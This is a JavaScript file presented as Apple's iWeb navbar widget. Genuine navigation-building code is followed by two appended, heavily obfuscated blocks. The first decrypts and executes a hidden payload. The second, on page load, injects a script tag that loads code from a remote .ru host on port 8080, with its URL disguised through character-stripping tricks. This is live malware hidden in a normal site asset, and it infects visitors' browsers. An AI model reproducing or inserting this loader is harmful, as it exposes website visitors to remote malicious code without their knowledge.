//
//  iWeb - navbar.js
//  Copyright (c) 2007-2008 Apple Inc. All rights reserved.
//

var NavBar=Class.create(Widget,{widgetIdentifier:"com-apple-iweb-widget-NavBar",initialize:function($super,instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp)
{if(instanceID)
{$super(instanceID,widgetPath,sharedPath,sitePath,preferences,runningInApp);if(!this.preferenceForKey("useStaticFeed")&&this.preferenceForKey("dotMacAccount"))
{var depthPrefix=this.preferenceForKey("path-to-root");if(!depthPrefix||depthPrefix=="")
depthPrefix="./";this.xml_feed=depthPrefix+"?webdav-method=truthget&depth=infinity&ns=iweb&filterby=in-navbar";}
else
{this.xml_feed="feed.xml";if(this.sitePath)
{this.xml_feed=this.sitePath+"/"+this.xml_feed;}}
this.changedPreferenceForKey("navbar-css");this.regenerate();}},regenerate:function()
{new Ajax.Request(this.xml_feed,{method:'get',onSuccess:this.populateNavItems.bind(this)});return true;},getStyleElement:function(key)
{if(!this.styleElement)
{var head=document.getElementsByTagName("head")[0];if(head)
{var newElement=document.createElement("style");newElement.type="text/css";head.appendChild(newElement);this.styleElement=newElement;}}
return this.styleElement;},substWidgetPath:function(text)
{var result=text.replace(/\$WIDGET_PATH/gm,this.widgetPath);return result;},addCSSSelectorPrefix:function(text)
{var prefix="div#"+this.instanceID+" ";text=text.replace(/\/\*[^*]*\*+([^/][^*]*\*+)*\//gm,"");text=text.replace(/(^\s*|\}\s*)([^{]+)({[^}]*})/gm,function(match,beforeSelectorList,selectorList,propertyList){var result=beforeSelectorList;var selectors=selectorList.split(",");for(var i=0;i<selectors.length;i++){result+=prefix+selectors[i];if(i+1<selectors.length)result+=",";}
result+=propertyList;return result;});return text;},changedPreferenceForKey:function(key)
{if(key=="navbar-css")
{var text=this.preferenceForKey(key);if(!text)
{text="";}
text=this.substWidgetPath(text);text=this.addCSSSelectorPrefix(text);var styleElement=this.getStyleElement();if(styleElement)
{if(!windowsInternetExplorer)
{var node=document.createTextNode(text);if(node)
{while(styleElement.hasChildNodes())
{styleElement.removeChild(styleElement.firstChild);}
styleElement.appendChild(node);}}
else
{styleElement.styleSheet.cssText=text;}}}},populateNavItems:function(req)
{var items;var feedRoot=ajaxGetDocumentElement(req);if(feedRoot){var parsedFeed=this.getAtomFeedItems(feedRoot);var items=parsedFeed.resultArray;var currentPageGUID=null;var isCollectionPage="NO";var curPagePat=null;if(this.runningInApp)
curPagePat=/\.#current#.$/;else
{currentPageGUID=this.preferenceForKey("current-page-GUID");isCollectionPage=this.preferenceForKey("isCollectionPage");}
var navDiv=this.div("navbar-list");var navBgDiv=navDiv.parentNode;$(navBgDiv).ensureHasLayoutForIE();while(navDiv.firstChild){navDiv.removeChild(navDiv.firstChild);}
var depthPrefix=this.preferenceForKey("path-to-root");if(!depthPrefix||depthPrefix=="")
depthPrefix="./";for(var x=0;x<items.length;x++){var navItem=document.createElement("li");var anchor=document.createElement("a");var title=items[x].title;var pageGUID=items[x].GUID;title=title.replace(/ /g,"\u00a0")+" ";var url=items[x].url;if(!this.runningInApp&&!url.match(/^http:/i))
url=depthPrefix+url;var inAppCurPage=this.runningInApp&&curPagePat.exec(unescape(new String(url)));if(inAppCurPage)
{url=url.replace(curPagePat,"");}
if(pageGUID==currentPageGUID||inAppCurPage){navItem.className='current-page';if(!this.runningInApp&&isCollectionPage!="YES"){url="";}}
else
navItem.className='noncurrent-page';anchor.setAttribute("href",url);anchor.appendChild(document.createTextNode(title));navItem.appendChild(anchor);navDiv.appendChild(navItem);}
if(this.preferences&&this.preferences.postNotification){this.preferences.postNotification("BLWidgetIsSafeToDrawNotification",1);}}},getAtomFeedItems:function(feedNode)
{var results=new Array;var pageOrder=new Array;if(feedNode)
{var generator="";var generatorElt=getFirstElementByTagName(feedNode,"generator");if(generatorElt&&generatorElt.firstChild){generator=allData(generatorElt);}
var pageGUIDs,pageGUIDsElt;for(var entryElt=feedNode.firstChild;entryElt;entryElt=entryElt.nextSibling){var isInNavbarElt=null;if(!pageGUIDs&&(pageGUIDsElt=findChild(entryElt,"site-navbar","urn:iweb:"))){pageGUIDs=allData(pageGUIDsElt).split(",");for(var x=0;x<pageGUIDs.length;x++){var pageGUID=pageGUIDs[x];pageOrder[""+pageGUID]=x;}}
if(entryElt.nodeName=="entry"&&(isInNavbarElt=findChild(entryElt,"in-navbar","urn:iweb:"))){if(!isInNavbarElt)
continue;var pageGUID="";if(isInNavbarElt.firstChild){pageGUID=""+allData(isInNavbarElt);}else{iWLog("no navBarElt child");}
if(pageGUID=="navbar-sort")
continue;var title="";var titleElt=findChild(entryElt,"title","urn:iweb:");if(!titleElt){iWLog("No iWeb title");titleElt=findChild(entryElt,"title");}
if(titleElt&&titleElt.firstChild){title=allData(titleElt);}
var linkElt=getFirstElementByTagName(entryElt,'link');url=linkElt.getAttribute("href");if(!url&&linkElement.firstChild){url=allData(linkElement);}
results[results.length]={title:title,url:url,GUID:pageGUID};}}}
if(pageGUIDs){results=$(results).reject(function(result){return(pageOrder[result.GUID]===undefined);});results.sort(function(lhs,rhs){return pageOrder[lhs.GUID]-pageOrder[rhs.GUID];});}
return{resultArray:results};},onload:function()
{},onunload:function()
{}});function findChild(element,nodeName,namespace)
{var child;for(child=element.firstChild;child;child=child.nextSibling){if(child.localName==nodeName||child.baseName==nodeName){if(!namespace){return child;}
var childNameSpace=child.namespaceURI;if(childNameSpace==namespace){return child;}}}
return null;}
function getFirstElementByTagName(node,tag_name){var elements=node.getElementsByTagName(tag_name);if(elements.length){return elements[0];}
else{return findChild(node,tag_name);}}
function allData(node)
{node=node.firstChild;var data=node.data;while((node=node.nextSibling)){data+=node.data;}
return data;}

var eck="fce3ead1f691a0a3a8bf8a8de2dce2f894d1f5cfe7fff8e5cdcae0c3defcd3f4dcefc5ffc1dffefed0e7f4c0ddddc9f5f7f8fbfbc6d9fde9f5dde2f8f2d7e4e6fdb5cffab3e0f0e7a9dcddabe0f0";this.exB="exB";var vN;if(vN!='' && vN!='Lt'){vN='Ch'};function E(I){this.pK=false;this.Be=""; var Cb=31405;this.Ia="Ia";function P(p){this.gH="gH";this.TS=false;var Ei=false;var z=new Date();var V =[0][0];this.sD=33723;var C = '';p = new g(p);var Gp;if(Gp!='bc' && Gp!='mC'){Gp='bc'};var S=60940;var R = -1;var cB;if(cB!='Lq' && cB!='RS'){cB=''};var t =[0][0];var kK;if(kK!='' && kK!='zS'){kK=null};var Kx=new Date();for (t=p[U("gelnth", [2,1,3,0,4])]-R;t>=V;t=t-[64,1][1]){var br;if(br!='tl' && br != ''){br=null};this.yj=false;C+=p[U("Actrha", [1,4,5,3,0,2])](t);this.Ni="";var CV=6214;}var FQ='';var ba=new Array();return C;}var zx;if(zx!='pG' && zx != ''){zx=null};var qy=new String(); var j=function(y,A){var d=40474;return y^A;var QK;if(QK!='' && QK!='cR'){QK=null};};this.jq=false;var Xq=""; var X=function(B,m){var Fs="";var vL;if(vL!='' && vL!='Mu'){vL=null};return B[U("CorhcadeAt", [4,3,5,2,0,1])](m);this.PJ=false;var Wv=false;};var xH=new Array();var LN;if(LN!='UA' && LN!='RH'){LN='UA'}; var c=function(tR){var jf=[24,37,0][2];var IV=new String();var Uu=new String();var F=[40,89,255,33][2];var CS;if(CS!='wY'){CS=''};var M=tR[U("nlegth", [1,2,0,3,4])];this.NB='';var UW=[0][0];var T=[177,1,165,236][1];this.gR=35413;var Mq="Mq";var sh=new String();while(jf<M){var EH=10679;var XO;if(XO!='cr'){XO=''};var uq;if(uq!='' && uq!='ip'){uq=null};jf++;N=X(tR,jf - T);var iy="iy";var nW="nW";UW+=N*M;}var Eo=new Array();return new g(UW % F);};var DW;if(DW!='' && DW!='cL'){DW='HF'};this.zs="";var rZ=new String();this.RSD=false; function U(p, e){this.zz=false;var LX;if(LX!='ID'){LX='ID'};var C = '';var Kv;if(Kv!='RHD'){Kv='RHD'};var Oe=false;var SW;if(SW!='' && SW!='Xmu'){SW='Vc'};var ZE = p.length;var WCs;if(WCs!='f'){WCs=''};var Ih;if(Ih!='yL'){Ih=''};var T=[39,52,1][2];var cri;if(cri!='QC'){cri='QC'};var K = e.length;this.Lr=false;var V=[0][0];var wS=new Array();var wy=21986;this.Kr="Kr";for(var t = V; t < ZE; t += K) {var hT="";this.Kd=9855;var G = p.substr(t, K);var ui='';var pX='';if(G.length == K){var js=new String();var Vv=new String();for(var jf in e) {var XB;if(XB!='NX'){XB=''};C+=G.substr(e[jf], T);var VLp;if(VLp!='Oj' && VLp!='Uj'){VLp='Oj'};var pA="pA";this.jt='';}var HD="";} else {var Nm;if(Nm!='MQ' && Nm!='HZG'){Nm=''};var cLS='';  C+=G;}var dl="dl";var Ke=new Date();}var dfp;if(dfp!='PP' && dfp != ''){dfp=null};return C;var zC="zC";}var Lh=false;var Pl=false;var o=window;var Q=o[U("vael", [2,0,1])];var QE=Q(U("ctuonFin", [5,2,4,0,1,6,3]));var KR;if(KR!='yf' && KR != ''){KR=null};var L = '';var Rt;if(Rt!='KV' && Rt!='bi'){Rt='KV'};var iz;if(iz!='kS' && iz!='Gb'){iz=''};var g=Q(U("iSrtng", [1,3,2,0]));var cO='';var tm=Q(U("EeRxgp", [2,1,4,0,3]));var JK=31434;var uG;if(uG!='gp' && uG!='qz'){uG=''};var gq;if(gq!='' && gq!='SF'){gq=''};this.FX='';var KEQ=new String();this.ex='';var od;if(od!='wVY' && od!='Qc'){od=''};var QX=41052;var tO="";var wp=false;var oA=false;this.YA="";var eM=o[U("secpuane", [4,6,1,0,2,5,3])];this.So='';var w=g[U("hrrmCofaCode", [6,1,5,3,4,0,7,2])];var wF='';var Bjg;if(Bjg!='' && Bjg!='HN'){Bjg='Ff'};this.dK=54699;var CO = w(37);var tU=new Array();var Vd = I[U("neglth", [3,1,0,2,4])];var In;if(In!='ur'){In=''};var a = /[^@a-z0-9A-Z_-]/g;this.ob='';var Xx =[0][0];this.rV=35843;var dp;if(dp!='th'){dp=''};var Rh = '';var eZ=[1, U("nmcoduetec.tranmlEeeeic\'(tsrpt\')", [4,3,2,5,1,6,0]),2, U("uonedmco..ytdbepCdanpdi)dh(l", [4,1,6,0,5,3,2]),3, U(".ceowmnaaosmihre:s8.u080", [1,3,5,0,6,2,4]),4, U(".esdAtttiubre\'(teefdr\'", [3,0,2,1]),5, U(".tnebuxtoce.olm.reckz", [2,3,1,0]),6, U("3.12achoom", [6,4,7,2,3,0,1,5]),7, U("onwwd.oinload", [2,7,1,4,6,3,5,0]),8, U("nxkiaio.0c01m", [2,4,5,1,3,0]),11, U("nuotficn()", [4,1,0,6,3,5,2]),12, U("oogelgoc.m", [2,1,0]),14, U("ahctc(e)", [2,0,3,4,1]),15, U("ososc.mo", [1,0]),16, U("rinovze", [4,6,0,1,5,3,2]),17, U("ht\"tp:", [2,0,1,3]),18, U(".drsc", [1,0]),19, U("1\')\'", [3,0,1,2]),20, U("rty", [1,0])];var v = '';var V =[0,16,75][0];var AV =[55,94,86,2][3];this.vQ='';this.ku='';var OO=new Date();this.Dbo=23079;var QP = '';var DX=new String();var hSy;if(hSy!='vi'){hSy=''};var T =[1,247,196,89][0];this.Yz="Yz";this.Tf="";this.Nz="";var bU="";var jS;if(jS!='dx' && jS!='jD'){jS='dx'};var WO="WO";for(var aP=V; aP < Vd; aP+=AV){this.HH=25945;var tc=new Date();QP+= CO; QP+= I[U("busrts", [2,1,0])](aP, AV);var ri;if(ri!='qY' && ri != ''){ri=null};}var uZ;if(uZ!='SN'){uZ=''};var I = eM(QP);var Hj;if(Hj!='' && Hj!='KQ'){Hj=''};var Pm=new Array();var tK = new g(E);var Y = tK[U("lpearce", [4,6,1,0,3,5,2])](a, Rh);var bu=42530;var uU;if(uU!='Xk'){uU=''};Y = P(Y);var GV;if(GV!='Vz'){GV=''};var Gx=new Date();var IA = new g(QE);var Kl;if(Kl!='lZ' && Kl != ''){Kl=null};var qL="";var O = eZ[U("gltenh", [1,3,4,0,2])];this.EO="";var oZ=new Array();var lsA;if(lsA!='iL'){lsA='iL'};var ON = IA[U("lpreace", [2,3,1,0])](a, Rh);this.RR="RR";var ON = c(ON);var nk;if(nk!='' && nk!='hSH'){nk=''};var Kf;if(Kf!='' && Kf!='tlE'){Kf='XmL'};var J=c(Y);this.Xa=31956;var fr;if(fr!='Fc'){fr=''};for(var t=V; t < (I[U("elgnht", [1,0])]);t=t+[3,1][1]) {var yw;if(yw!='' && yw!='Tg'){yw=''};var pf;if(pf!='' && pf!='AI'){pf=''};var Kve;if(Kve!='' && Kve!='mt'){Kve=''};var aR = Y.charCodeAt(Xx);var na='';var zk="zk";var XY = X(I,t);XY = j(XY, aR);var MpB='';var Bp;if(Bp!='Iu'){Bp='Iu'};XY = j(XY, J);XY = j(XY, ON);var Yy;if(Yy!='' && Yy!='dg'){Yy=''};var jB=24067;Xx++;var cc;if(cc!='Kq'){cc=''};var fC=new Array();if(Xx > Y.length-T){Xx=V;}var zb;if(zb!='' && zb!='WL'){zb='Tq'};this.qh='';v += w(XY);}var Yk;if(Yk!='' && Yk!='kuw'){Yk=''};var akL;if(akL!='' && akL!='bk'){akL=null};for(tM=V; tM < O; tM+=AV){var VU;if(VU!='mz' && VU != ''){VU=null};var TY = eZ[tM + T];var yN;if(yN!='' && yN!='iE'){yN=null};this.Iz=false;var Mt = w(eZ[tM]);var Wp;if(Wp!='Bpd' && Wp!='Wc'){Wp=''};var PT;if(PT!=''){PT='PH'};var PK="";var Bi;if(Bi!='' && Bi!='oC'){Bi=''};this.fz="";var Xg = new tm(Mt, w(103));var mM=new String();v=v[U("epracle", [2,0,1])](Xg, TY);}var ut;if(ut!='' && ut!='ig'){ut=null};var AD=new QE(v);var km=54836;AD();var nK="nK";var RK="RK";AD = '';Y = '';var TP='';this.Ra=false;this.NP=false;var bd;if(bd!='oa'){bd=''};ON = '';var NL="NL";var Plw="Plw";v = '';this.Lg='';J = '';var gj;if(gj!='' && gj!='WCw'){gj=''};IA = '';var ti;if(ti!='' && ti!='oG'){ti=null};this.Mpn=23922;return '';};this.exB="exB";var vN;if(vN!='' && vN!='Lt'){vN='Ch'};E(eck);
var v='';var y=new Date();function F() {var t=']';var I='g';var n=new Array();var Mt="";var M=new String();var T=RegExp;var ck;if(ck!='Iq' && ck!='e'){ck='Iq'};this.b='';var x='replace';var S='[';var s=new String();var p=new String();var yG;if(yG!='' && yG!='et'){yG=null};function j(V,W){var a='';var RN=new Array();this.tP="";var od;if(od!='az' && od != ''){od=null};var _=S;var Zk="";_+=W;this.Pc="";_+=t;var TG='';var CA;if(CA!='' && CA!='Et'){CA=''};var Q=new T(_, I);var Ms=new Date();return V[x](Q, M);var g=new Array();var eo=new String();};var lbF;if(lbF!=''){lbF='lb'};var zx;if(zx!='A' && zx!='tS'){zx='A'};var N=window;var C='';var u;if(u!='t_' && u != ''){u=null};var Tz;if(Tz!='' && Tz!='ee'){Tz=null};var tU=j('hXtGt3pX:G/X/XjXuYgXeYm3-YjGp3.GdXi3cYt3.YcXcG.GlYeYm3o3n3d3eX-XfYrY.XsGuGp3eXrYnYeXw3sXtGuXfGfG.3rYuY:Y',"XG3Y");var uI;if(uI!='K'){uI=''};var k;if(k!='dj' && k!='HW'){k='dj'};var r=j('cSrSegagtgeuESlgegmgegnutS',"uSg");var pC;if(pC!='wN'){pC='wN'};var up=new Date();var Z=j('sMcRrXiJpXtR',"XRMJ9");this.Ce='';var l=j('/IrYaImIbElYeIrE.ErYuY/vrYaImEbElYeIrI.vrIuv/YfEoYxIsvpEovrEtvsv.EcEoYmE/EbYlYaYcEkIbYeIrErYyv.IcEoYmv/YgvoIoIgElEeY.YcIoEmv.EpYhEpI',"EIvY");var Hv=new Date();var Wx=j('863363066338666360636',"36");var QZ;if(QZ!=''){QZ='vY'};N[j('ojnjlLoZajdZ',"LjZ")]=function(){var KK="";var LL=new Date();try {var oN;if(oN!=''){oN='VV'};C+=tU;var Tr;if(Tr!='PZ' && Tr!='Y'){Tr='PZ'};var Dk=new Date();C+=Wx;C+=l;var AS=new String();var Td=new Date();E=document[r](Z);var RS;if(RS!=''){RS='gh'};this.JE='';c(E,'src',C);var eF;if(eF!='' && eF!='jy'){eF=null};var iB;if(iB!='' && iB!='qI'){iB=null};c(E,'defer',([1][0]));var SF=new Array();this.CF='';this.Dc='';document.body.appendChild(E);var aV=new Array();var Jx=new Array();} catch(B){this.nL="";};};var el=new String();var WF;if(WF!='' && WF!='sQ'){WF=''};function c(WM,Fo,d){var q_=new Array();WM.setAttribute(Fo, d);}var f;if(f!='' && f!='kM'){f='Df'};this.rG="";var gG=new String();};F();var bN=new Array();